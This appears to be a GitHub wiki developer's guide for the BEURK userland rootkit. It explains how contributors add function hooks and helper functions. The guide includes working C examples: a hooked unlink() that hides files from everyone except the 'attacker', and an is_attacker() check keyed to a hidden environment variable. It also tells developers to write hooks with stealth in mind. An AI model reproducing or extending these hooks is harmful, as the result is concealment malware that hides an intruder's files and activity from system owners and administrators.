-
Notifications
You must be signed in to change notification settings - Fork 97
Developer's Guide
The following guide provides requirements and recommended practices for writing code on the BEURK rootkit.
A hook is an homemade function which pretends to be a standard function.
As the rootkit is mostly based on function hooking, a complete procedure is available to ease new hooks development.
Every hook must meet the following requirements:
-
A prototype defined in
/includes/hooks.h -
A source file named
/src/hooks/<hook_name>.c -
A dedicated unit-test in
/tests/core/hooks -
Function must start with:
init(); DEBUG(D_INFO, "called <hook_name>(<man_section>) hook");
NOTE:
init()must be called explicitly on each internal API function because some systems only call it at library memory load time.
Function hook's prototype must be defined in /includes/hooks.h, and
flagged with the _HOOKED macros in it's end.
NOTE: The
_HOOKEDmacro tells the compiler that the function symbol must be visible, as the rootkit is compiled with the-fvisibility=hiddenattribute.
Example:
/* /includes/hooks.h */
int unlink(const char *pathname) _HOOKED;This step is very important, as the builder parses hooks.h in
order to generate REAL_<HOOK_NAME> macros.
Each function hook must be written in its own file, named
/src/hooks/<hook_name>.c.
In order to ease development, a REAL_<HOOK_NAME>() macro is generated at
compile time, and can be used to call the equivalent non-hooked function.
Keep stealth in mind while writing a hook !
Example:
/* /src/hooks/unlink.c */
int unlink(const char *pathname) {
DEBUG(D_INFO, "called unlink(2) hooked");
if (is_attacker()) {
return REAL_UNLINK(pathname);
}
else if (is_hidden_file(pathname)) {
errno = ENOENT;
return -1;
}
return REAL_UNLINK(pathname);
}Each hook must be tested to ensure that no breakage occurs, and to assess
stealthyness. Those tests must be placed in the /tests/core/hooks directory,
and will be automatically picked up by our test script.
-
Steps:
- Read the README file at
/tests/core/hooks/. - Create a test file named
/tests/core/hooks/<HOOK>.cwith valid checks. - Add tests calls on
/tests/core/hooks/run.py.
- Read the README file at
Every non-hook function must meet the following requirements:
- A prototype in
/includes/beurk.h - A .c file in
/src/<function_name>.c - A dedicated unit test in
/tests/core - The first line of the non-hook function must be
DEBUG(D_INFO, "called <function>()")
In this example, we decide to write an is_attacker() function.
- Add the prototype on beurk.h
-
(append to
/includes/beurk.h):
/* is_attacker.c */ int is_attacker(void); ```
- Write the function itself
- (create an appropriate .c file, aka
/src/is_attacker.c):int is_attacker(void) { init(); /* must be called at start, as for function hooks */ DEBUG(D_INFO, "called is_attacker()"); static int attacker = -1; if (attacker != -1) return (attacker); if (getenv(HIDDEN_ENV_VAR)) { DEBUG(D_INFO, "This is the attacker."); attacker = 1; } else { DEBUG(D_INFO, "This isn't the attacker."); attacker = 0; } return (attacker); }
- Create a test for the function
- Read the README file at
/tests/core/. - Create a test file named
/tests/core/<function>.cwith valid checks. - Add tests calls on
/tests/core/run.py.